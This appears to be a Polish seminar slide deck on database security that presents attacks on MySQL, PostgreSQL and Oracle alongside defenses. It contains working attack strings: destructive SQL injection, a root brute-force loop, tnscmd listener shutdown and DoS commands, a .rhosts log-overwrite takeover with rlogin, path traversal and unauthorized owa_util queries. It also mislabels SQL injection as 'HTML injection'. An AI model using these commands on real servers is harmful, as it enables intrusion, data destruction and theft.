Bazy danych z punktu widzenia intruza. Bezpieczeń stwo systemów komputerowych. Temat seminarium: Bazy danych z punktu widzenia intruza. Autor: Mariusz Kuźma Bazy danych z punktu widzenia intruza. (MySQL, PostgreSQL, Oracle) 1
Bazy danych z punktu widzenia intruza Przebieg prezentacji Przebieg prezentacji: MySQL Wstę p MySQL z punktu widzenia intruza - Przepełnienie bufora (buffer overflow) - Atak HTML injection - Atak brutalny PostgreSQL Wstę p PostgreSQL z punktu widzenia intruza - Przepełnienie bufora (buffer overflow) - Atak HTML injection ORACLE Wstę p ORACLE z punktu widzenia intruza - Uzyskanie informacji - Prosty atak DoS - Nadpisanie dowolnego pliku - Przykładowy scenariusz ataku przejęcia kontroli nad bazą - Odczyt informacji ostatniego połączenia z listenerem - Ujawnienie tre ści skryptów JSP - Atak HTML injection - Moduł mod_plsql - Wykorzystanie standardowych pakietów PL/SQL Podsumowanie Literatura
Bazy danych z punktu widzenia intruza MySQL MySQL
Bazy danych z punktu widzenia intruza MySQL MySQL jest bardzo szybkim, solidnym systemem zarządzania relacyjnymi bazami danych (RDMS relation database management system). Baza danych umożliwia wydajne przechowywanie, przeszukiwanie, sortowanie i odczytywanie danych.[1] Serwer MySQL kontroluje dostęp do bazy w celu zapewnienia równoczesnego dostępu wielu użytkownikom, zagwarantowania szybkiego dostępu oraz dostępu jedynie dla uwierzytelnionych użytkowników. Reasumuj ąc serwer MySQL jest serwerem wielodostępowym i wielową tkowym.[1] MySQL jest obecnie dostępny w licencji Open Source, ale w konkretnych przypadkach można uzyskać licencje komercyjne. 4
Bazy danych z punktu widzenia intruza MySQL MySQL z punktu widzenia intruza MySQL z punktu widzenia intruza Przepełnienie bufora (buffer overflow) Atak HTML injection Atak brutalny 5
Bazy danych z punktu widzenia intruza MySQL Przepełnienie bufora (buffer overflow) Przepełnienie bufora (buffer overflow) Atak przepełnienia buforu wykorzystuje brak lub niewła ściwe sprawdzanie długości łańcuchów tekstowych w programach uprzywilejowanych.w ten sposób moż na zdobywać uprawnienia zarówno w systemach Unixowych jak i Microsoftu. Błąd przepełnienia bufora w MySQL, który mógłby zostać wykorzystany przez użytkownika mającego uprawnienia do dokonywania zmian w tablicach. Luka pozwala atakującemu na wykonanie arbitralnego kodu z przywilejami procesu mysqld. 6
Bazy danych z punktu widzenia intruza MySQL Przepełnienie bufora (buffer overflow) Przepełnienie bufora (buffer overflow) Działanie tego typu programów polega na wysłaniu na tyle długiego łańcucha, że przekracza on swoj ą długości ą zarezerwowane na stosie miejsce na zmienne lokalne podprogramu. Przekraczaj ąc dozwolon ą długość nadpisuje si ę inne obszary stosu m.in. adres powrotu podprogramu. W ten sposób można w nadpisanym obszarze pamięci umieścić dowolny program lub wywołanie powłoki a w miejscu adresu powrotu umieścić skok do przesłanego programu lub wywołania powłoki. Obrona polega na pisaniu poprawnych programów sprawdzaj ących długość pobieranych danych, zmodyfikowaniu kompilatora itp. 7
Bazy danych z punktu widzenia intruza MySQL Atak HTML injection Atak HTML injection Ataki HTML injection polegaj ą na przesłaniu stronie, która oczekuje od nas danych w postaci czystego tekstu, ciągu zawieraj ącego specjalnie spreparowanego kodu HTML.[2] Taki atak mógłby zostać wykorzystany przez użytkownika mającego uprawnienia do dokonywania zmian w tablicach (bazy MySQL). Obrona przed atakiem HTML injection polega na dokładnym sprawdzaniu zawarto ści każdej zmiennej przekazywanej do bazy danych. 8
Bazy danych z punktu widzenia intruza MySQL Atak HTML injection Przykład ataku HTML injection na baz ę MySQL Wyobraźmy sobie aplikacj ę która wyszukuje w tabeli wiersz o wskazanej przez użytkownika warto ści jednego z pól. Zapytanie może wyglądać w przybliżeniu tak: SELECT * FROM nazwa_tabeli WHERE pole=$jakies_dane W zapytaniu tym zostaje wstawiona warto ść przekazana przez użytkownika i przekazana do bazy. A teraz atakuj ący może przekazać następuj ący ciąg: $jakies_dane= 4;delete from nazwa_tabeli SELECT * FROM nazwa_tabeli WHERE pole= 4;delete from nazwa_tabeli Zapytanie spowoduje wyświetlenie pól o warto ści 4 i dodatkowo usunięcie wszystkich wpisów w tabeli nazwa_tabeli. 9
Bazy danych z punktu widzenia intruza MySQL Atak brutalny Atak brutalny Polega na generowaniu wszystkich możliwych kombinacji w zależności od długości hasła (przy znanym loginie) podczas nawiązywania połączenia z baz ą danych MySQL. Składnia wywołania funkcji mysql_connect w skrypcie PHP przy nawiązaniu połączenia z baz ą danych przez WWW wygląda następuj ąco: mysql_connect(host,login,haslo) 10
Bazy danych z punktu widzenia intruza MySQL Atak brutalny Przykład ataku brutalnego na baz ę mysql. Wyobraźmy sobie skrypt (np. PHP) który generuje wszystkie kombinacje hasła o danej długości i próbuje nawiązać połaczenie jako użytkownik root z baz ą danych mysql, przy znanym adrsie serwera MySQL.... do {... $haslo.=kolejnyznak; $db_lacz=mysql_connect("adres_serwera","root",$haslo); } while(!$db_lacz) echo Hasło roota =. $haslo;... Obrona polega na ustawieniu pola host w tabeli user na localhost. update user set host= localhost where user= root ; 11
Bazy danych z punktu widzenia intruza PostgreSQL PostgreSQL
Bazy danych z punktu widzenia intruza PostgreSQL PostgreSQL jest najbardziej dojrzał ą, najczęściej używan ą i darmow ą (obiektowo relacyjn ą) baz ą danych RDBMS SQL na świecie (MySQL nie należy do tej klasy). Do tej klasy nale żą między innymi serwery: Oracle8, Sybase11 czy InterBase5.1.[3] PostgreSQL jest rozpowszechniany na podstawie Powszechnej Publicznej Licencji GNU (GNU GPL). Jest dostępny m.in. na platformach: Linux, FreeBSD, Solaris, HP-UX, Irix, Windows 95, 98 i NT. 13
Bazy danych z punktu widzenia intruza PostgreSQL PostgreSQL z punktu widzenia intruza PostgreSQL z punktu widzenia intruza Przepełnienie bufora (buffer overflow) Atak HTML injection 14
Bazy danych z punktu widzenia intruza PostgreSQL Przepełnienie buforu (buffer overflow) Przepełnienie buforu (buffer overflow) Atak przepełnienia buforu polega dokładnie na analogi, jak w przypadku MySQL (slajd nr 5). Natomiast obrona jest identyczna jak w przypadku MySQL (slajd nr 6). 15
Bazy danych z punktu widzenia intruza PostgreSQL Atak HTML injection Atak HTML injection Atak HTML injection i obrona polega na analogi, jak w przypadku MySQL (slajd nr 7). 16
Bazy danych z punktu widzenia intruza ORACLE ORACLE
Bazy danych z punktu widzenia intruza ORACLE Oracle Listener jest to komponent odpowiedzialny przede wszystkim za komunikacj ę między klientami a serwerem Oracle (równie ż za komunikacj ę międzyserwerow ą ). Jest to element każdej instalacji Oracle DBMS.[4] Listener jest procesem działającym na serwerze bazodanowym, którego zadaniem jest przyjmowanie zlece ń od klientów. W systemach uniksowych jest to proces o nazwie tnslsnr, a w systemach Windows odpowiedni serwis. Listener nasłuchuje zlece ń na porcie TCP 1521. Do komunikacji między Oracle Client a Listenerem jest wykorzystywany protokół TNS (Transparent Network Substrate). 18
Bazy danych z punktu widzenia intruza ORACLE Największe zagroż enia związane z Oracle Listener nie wymagaj ą od atakującego żadnej wiedzy tajemnej. Nie s ą to klasyczne przepełnienia bufora wejściowego lub inne typowe błędy popełniane przez programistów (aczkolwiek takie te ż w nim można znaleźć). Największe słabości Listenera prawdopodobnie wynikaj ą ze złych założe ń przyjętych podczas projektowania tego oprogramowania. Do atakowania Oracle Listenera można zastosować prosty skrypt perl o nazwie tnscmd. Skrypt ten pozwala na wydawanie komend protokołu TNS. Można go uzyskać pod adresem http://www.jammed.com/~jwa/hacks/security/tnscmd/tns cmd. 19
Bazy danych z punktu widzenia intruza ORACLE ORACLE z punktu widzenia intruza ORACLE z punktu widzenia intruza Uzyskanie informacji Prosty atak DoS Nadpisanie dowolnego pliku Przykładowy scenariusz ataku przejęcia kontroli nad bazą Odczyt informacji ostatniego połączenia z listenerem Ujawnienie treści skryptów JSP Atak HTML injection Moduł mod_plsql Wykorzystanie standardowych pakietów PL/SQL 20
Bazy danych z punktu widzenia intruza ORACLE Uzyskanie infromacji o systemie Uzyskanie informacji o systemie Standardowo Oracle Listener przyjmuje komendy od każdego i nie wymaga ż adnej autoryzacji, dzięki temu można uzyskać bardzo dużo informacji o systemie. Odpowiadaj ą za to komendy version i status protokołu TNS: tnscmd version -h adres_serwera -p 1521 tnscmd status -h adres_serwera -p 1521 Listener odpowiada na te zapytania zdradzając m.in.: dokładn ą wersj ę Oracle, rodzaj systemu operacyjnego, czas od uruchomienia instancji Oracle, ścieżki do plików z logami, opcje listenera (m.in. stan opcji security), rodzaj serwisów Oracle obsługiwanych przez Listenera, argumenty wywołania, kompletne środowisko (wartoś ci wszystkich zmiennych systemowych), w jakim został wywołany listener. 21
Bazy danych z punktu widzenia intruza ORACLE Uzyskanie infromacji o systemie Listing komendy tnscmd status -h 10.1.1.100 -p 1521 sending (CONNECT_DATA=(COMMAND=status)) to 10.1.1.100:1521 connect writing 89 bytes reading....6...@....j... DESCRIPTION= TMP= VSNNUM=135291648 ERR=0 ALIAS=LISTENER SECURITY=OFF VERSION=TNSLSNR for Solaris: Version 8.1.6.3.0 - Production START_DATE=28-OCT-2002 16:22:44 SIDNUM=1 LOGFILE=/opt/oracle/8i/network/log/listener.log PRMFILE=/opt/oracle/8i/network/admin/listener.ora TRACING=off UPTIME=379500951 SNMP=OFF 22
Bazy danych z punktu widzenia intruza ORACLE Prosty atak DoS (denial of service) Prosty atak DoS (denial of service) W standardowej konfiguracji Oracle Listener opcja SECURITY ustawiona jest na OFF i mówi o tym, że dla listenera można wydawać komendy bez jakiegokolwiek uwierzytelnienia. Polecenie tnscmd stop -h adres_serwera -p 1521 spowoduje posłuszne zakończenie działania listenera. Zblokowanie dostępu do listenera za pomoc ą komendy SERVICE_CURLOAD, polega na konsumcji 99% czasu precesora. Polecenie tnscmd -h adres_serwera --rawcmd "(CONNECT_DATA= (COMMAND=SERVICE_CURLOAD))" 23
Bazy danych z punktu widzenia intruza ORACLE Nadpisanie dowolnego pliku Nadpisanie dowolnego pliku Proces listenera (tnslsnr) zapisuje wszystkie zdarzenia w swoim logu. Dokładne miejsce i nazw ę pliku logu można zdalnie odczytać przez komend ę protokołu TNS - status (opcja LOGFILE)... LOGFILE=/opt/oracle/8i/network/log/listener.log... Za pomoc ą odpowiedniego zlecenia TNS położenie pliku logowania można zmieniać. Ponadto listener ślepo przyjmuje każd ą warto ść, niezależnie od tego, czy wyspecyfikowany plik istnieje (w takim wypadku zostanie nadpisany), czy te ż nie (w takim wypadku zostanie stworzony). Listener ma możliwo ść nadpisania i/lub utworzenia dowolnego pliku do którego ma uprawnienia proces Oracle Listener. 24
Bazy danych z punktu widzenia intruza ORACLE Nadpisanie dowolnego pliku Przykład nadpisania pliku (przekierowania logów do pliku /home/oracle/.rhosts) wojdwo@behemot$./tnscmd -h oracleserver --rawcmd " (DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) COMMAND=log_file)(ARGUMENTS=4) (SERVICE=LISTENER) (VERSION=1) (VALUE=/home/oracle/.rhosts)))" sending (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file) (ARGUMENTS=4)(SERVICE=LISTENER) (VERSION=1)(VALUE=/home/oracle/.rhosts))) to oracleserver:1521 writing 205 bytes reading.m..."..a(description=(tmp=)(vsnnum=135294976)(err=0)(command=log_file) (LOGFILENAME=/home/oracle/.rhosts)) 25
Bazy danych z punktu widzenia intruza ORACLE Przykładowy scenariusz ataku przejęcia kontroli nad bazą Przykładowy scenariusz ataku przejęcia kontroli nad bazą Polega na dokonaniu odpowiedniego wpisu do pliku. rhosts i wykorzystaniu serwisu rlogin. Krok 1: Zmiana pliku logu listenera na plik.rhosts (slajd nr 24) /home/oracle/.rhosts 26
Bazy danych z punktu widzenia intruza ORACLE Przykładowy scenariusz ataku przejęcia kontroli nad bazą Krok 2: Wpisanie adresu IP i loginu intruza do pliku. rhosts (tak aby IP i login był w jednej lini) wojdwo@behemot$./tnscmd -h oracleserwer \ --rawcmd "(CONNECT_DATA=(( 10.1.1.223 wojdwo " sending (CONNECT_DATA=(( 10.1.1.223 wojdwo to oracleserwer:1521 writing 93 bytes reading.$..."..(description=(err=1153)(vsnnum=135294976) (ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4) (ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo')) (ERROR=(CODE=303) (EMFI=1)))) 27
Bazy danych z punktu widzenia intruza ORACLE Przykładowy scenariusz ataku przejęcia kontroli nad bazą Krok 3: Za pomoc ą rlogin intruz loguje si ę bez żadnego użytkownika uwierzytelnienia jako użytkownik z prawami oracle. wojdwo@behemot$ rlogin -l oracle oracleserwer Obrona przed powyższym atakiem polega na wgraniu łaty wypuszczonej przez ORACLE (#1361722), która wprowadza dodatkowy parametr ADMIN_RESTRICTIONS do pliku konfiguruj ącego listenera (listener.ora). Wyłączenie parametru ADMIN_RESTRICTIONS uniemożliwia zdaln ą rekonfiguracj ę listenera. 28
Bazy danych z punktu widzenia intruza ORACLE Odczyt informacji ostatniego połączenia z listenerem Odczyt informacji ostatniego połączenia z listenerem Błąd polega na ujawnieniu informacji przekazywanej w poprzednim połączeniu innego użytkownika z listenerem. W praktyce ustawiamy w odpowiednim parametrze warto ść większ ą ni ż w rzeczywisto ści długość wydawanej komendy TNS (--cmdsize 30), co spowoduje możliwo ś ć odczytania części komendy wydanej do listenera przez poprzedniego uż ytkownika (COMMAND=status ). wojdwo@behemot$./tnscmd --rawcmd " " -h oracleserwer --cmdsize 30 sending to oracleserwer:1521 Faking command length to 30 bytes writing 59 bytes reading..."...(description=(err=1153)(vsnnum=135294976) (ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4) (ARGS='CONNECT_DATA=(COMMAND=status)')) (ERROR=(CODE=303)(EMFI=1)))) 29
Bazy danych z punktu widzenia intruza ORACLE Ujawnienie treści skryptów JSP Ujawnienie treści skryptów JSP Podczas generowania strony WWW ze skryptu JSP tworzone s ą pliki tymczasowe w ścież ce /_pages serwera WWW. Jeden z plików z rozszerzeniem java zawiera kod źródłowy wykonywanego skryptu. W standardowej konfiguracji Apache rozpowszechnianego z Oracle katalog /_pages jest udostępniany przez serwer, w związku z tym intruz może odczytać kod źródłowy stron JSP obsługiwanych przez serwer. Obrona polega na zabronieniu w konfiguracji Apache dostępu do ścież ki /_pages. Dodatkowo wszystkie skrypty JSP powinny być przechowywane w postaci prekompilowanej. 30
Bazy danych z punktu widzenia intruza ORACLE Ujawnienie treści skryptów JSP Przykład ujawnienia treś ci skryptów JSP Najpierw należy uruchomić atakowany skrypt JSP, po to by serwer pobrał kod i go skompilował: http://10.1.1.100/demo/sql/bean/connbeandemo.jsp Teraz można odczytać źródło skryptu JSP odwołując si ę do odpowiedniego pliku w ścież ce /_pages: http://10.1.1.100/_pages/_demo/_sql/_bean/_connbeande mo.java 31
Bazy danych z punktu widzenia intruza ORACLE Atak HTML injection Atak HTML injection Przykładem niech będzie skrypt / demo/sql/tag/sample2.jsp. Skrypt ten jest interfejsem do tabeli zawieraj ącej dane o zarobkach w pewnej fikcyjnej firmie. Skrypt wyświetla w przeglądarce formularz WWW, w którym użytkownik wpisuje zapytanie. Np. wpisanie sal=800 powoduje wykonanie zapytania select ename,sal from scott.emp where sal=800 Przykładowo, wpisanie ciągu sal=800 union select username,userid from all_users spowoduje wykonanie zapytania select ename,sal from scott.emp where sal=800 union select username,userid from all_users 32
Bazy danych z punktu widzenia intruza ORACLE Moduł mod_plsql Moduł mod_plsql Moduł Apache mod_plsql służy do interpretowania na serwerze WWW kodu PL/SQL, który jest natywnym językiem baz Oracle. W module tym ujawniono wiele klasycznych błę dów: Przepełnienie bufora wejściowego w skrypcie służącym do wyś wietlania pomocy. Wysłanie zlecenia typu: http://10.1.1.100/pls/simpledad/admin_/help/aaaaaaaa... (>1000 znaków) powoduje błąd segmentacji w procesie obsługującym to zlecenie. 33
Bazy danych z punktu widzenia intruza ORACLE Moduł mod_plsql Moduł mod_plsql Zastosowanie techniki double decode. Polega na przesłaniu do serwera zlecenia zawieraj ącego znaki specjalne (np. ukośnik) dwukrotnie zakodowane heksadecymalnie. W rezultacie możliwe jest obejście restrykcji serwera i odczytanie dowolnego pliku bąd ź katalogu w przestrzeni serwera WWW. Przykład odczytania pliku konfiguracyjnego plsql.conf: http://10.1.1.100/pls/simpledad/admin_/help/..% 255Cplsql.conf 34
Bazy danych z punktu widzenia intruza ORACLE Wykorzystanie standardowych pakietów PL/SQL Wykorzystanie standardowych pakietów PL/SQL W starszych wersjach Oracle (poniż ej 9i) wszystkie pakiety PL/SQL s ą udostępnianie przez Internet, za pomoc ą mod_plsql. Składnia wywołania procedury PL/SQL przez serwer WWW wygląda następuj ąco: http://ip.ip.ip.ip/pls/dad/nazwa_pakietu.nazwa_procedur y DAD (Database Access Descriptor) jest to struktura opisująca sposób łączenia si ę do bazy za pomoc ą pakietów PL/SQL. 35
Bazy danych z punktu widzenia intruza ORACLE Wykorzystanie standardowych pakietów PL/SQL Ataki za pomoc ą procedur z pakietu owa_util Sprawdzenie działania pakietu owa_util: http://10.1.1.100/pls/simpledad/owa_util.signature Ujawnienie kodu żródłowego pakietu PL/SQL (np. file_util): http://10.1.1.100/pls/simpledad/owa_util.showsource?cna me=file_util Wykonanie nieautoryzowanych zapyta ń do bazy: http://10.1.1.100/pls/simpledad/owa_util.listprint?p_theq uery=select%20*%20from% 20all_users&p_cname=&p_nsize= 36
Bazy danych z punktu widzenia intruza ORACLE Wykorzystanie standardowych pakietów PL/SQL Ataki za pomoc ą procedur z pakietu owa_util Inne potencjalnie interesuj ące pakiety PL/SQL to np.: htp procedury pozwalaj ące na obsług ę protokołu HTTP, tcp procedury obsługi protokołu TCP, pozwalaj ą m.in. na nawiązanie połączenia zwrotnego (wychodz ącego), file_util procedury dostępu do plików, umożliwiaj ą np. pobranie dowolnego pliku z serwera. Obrona polega na ustawieniu parametru exclusion_list w pliku konfiguracyjnym wdbsrv.app. W starszych wersjach (poniż ej 9i) nie jest on włączony. 37
Bazy danych z punktu widzenia intruza Podsumowanie Podsumowanie
Bazy danych z punktu widzenia intruza Podsumowanie Podsumowanie: Bazy danych MySQL i PostgreSQL s ą bazami o dużo mniejszej złożoności programowej ni ż baza danych ORACLE. Mimo że bazy danych MySQL i PostgreSQL s ą programami Open Source maj ą mniej błędów ni ż ORACLE, który jest komercyjn ą baz ą danych. Dużo błędów wynika z tego, że użytkownicy zazwyczaj przyjmuj ą domyślne konfiguracje ustawie ń baz danych i serwerów WWW, co nie jest zalecane. 39
Bazy danych z punktu widzenia intruza Literatura Literatura
Bazy danych z punktu widzenia intruza Literatura Literatura [1] J. Smycz, D. Kaczmarek, PHP i MySQL Tworzenie stron WWW, wydawnictwo Helion, 2002 [2] Haking, Nr 1/2004 [3] PCkurier, Nr 8/2000 [4] Haking, Nr 1/2003